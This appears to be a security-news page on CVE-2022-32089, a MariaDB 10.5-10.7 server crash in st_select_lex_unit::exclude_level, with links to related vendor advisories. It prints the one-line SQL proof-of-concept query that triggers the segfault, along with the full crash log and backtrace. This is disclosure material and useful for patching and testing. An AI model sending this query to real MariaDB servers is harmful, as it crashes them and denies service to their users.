Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-32089: [MDEV-26410] MariaDB server crash in st_select_lex_unit::exclude_level

MariaDB v10.5 to v10.7 was discovered to contain a segmentation fault via the component st_select_lex_unit::exclude_level.

CVE
#sql#perl

PoC:

KILL STRCMP ( ‘x’ = 47051287.000000 , TIME ( NOT ‘x’ IN ( SELECT -32768 ) ) MOD 44 ) ;

crash log:

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/12.socket’ port: 10012 Source distribution
210816 15:00:02 [ERROR] mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong…
stack_bottom = 0x7f677d93c850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f679d1e8c3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x55ea78116747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x55ea770de120]
sigaction.c:0(__restore_rt)[0x7f679cbd2870]
sql/sql_lex.cc:3315(st_select_lex_unit::exclude_level())[0x55ea768e1518]
sql/item_subselect.cc:322(Item_subselect::fix_fields(THD*, Item**))[0x55ea773cff8c]
sql/item_subselect.cc:3562(Item_in_subselect::fix_fields(THD*, Item**))[0x55ea773d0c62]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_cmpfunc.cc:6455(Item_func_not::fix_fields(THD*, Item**))[0x55ea771cd8c2]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55ea7698f9d4]
sql/sql_parse.cc:5523(mysql_execute_command(THD*, bool))[0x55ea76978d5e]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55ea769835a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55ea7698960c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55ea7698e73d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55ea76d49e57]
sql/sql_connect.cc:1312(handle_one_connection)[0x55ea76d4a33d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55ea777dac2c]
pthread_create.c:0(start_thread)[0x7f679cbc8259]
:0(_GI__clone)[0x7f679c7735e3]

Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): KILL STRCMP ( ‘x’ = 47051287.000000 , TIME ( NOT ‘x’ IN ( SELECT -32768 ) ) MOD 44 )

Connection ID (thread ID): 4
Status: NOT_KILLED

Optimizer switch: index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index_merge_sort_intersection=off,engine_condition_pushdown=off,index_condition_pushdown=on,derived_merge=on,derived_with_keys=on,firstmatch=on,loosescan=on,materialization=on,in_to_exists=on,semijoin=on,partial_match_rowid_merge=on,partial_match_table_scan=on,subquery_cache=on,mrr=off,mrr_cost_based=off,mrr_sort_keys=off,outer_join_with_cache=on,semijoin_with_cache=on,join_cache_incremental=on,join_cache_hashed=on,join_cache_bka=on,optimize_join_buffer_size=on,table_elimination=on,extended_keys=on,exists_to_in=on,orderby_uses_equalities=on,condition_pushdown_for_derived=on,split_materialized=on,condition_pushdown_for_subquery=on,rowid_filter=on,condition_pushdown_from_having=on,not_null_range_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains
information that should help you find out what is causing the crash.
Writing a core file…

Related news

Gentoo Linux Security Advisory 202405-25

Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.

Red Hat Security Advisory 2023-7633-01

Red Hat Security Advisory 2023-7633-01 - An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Issues addressed include a null pointer vulnerability.

Red Hat Security Advisory 2023-5684-01

Red Hat Security Advisory 2023-5684-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include a null pointer vulnerability.

Red Hat Security Advisory 2023-5683-01

Red Hat Security Advisory 2023-5683-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include a null pointer vulnerability.

Ubuntu Security Notice USN-5739-1

Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907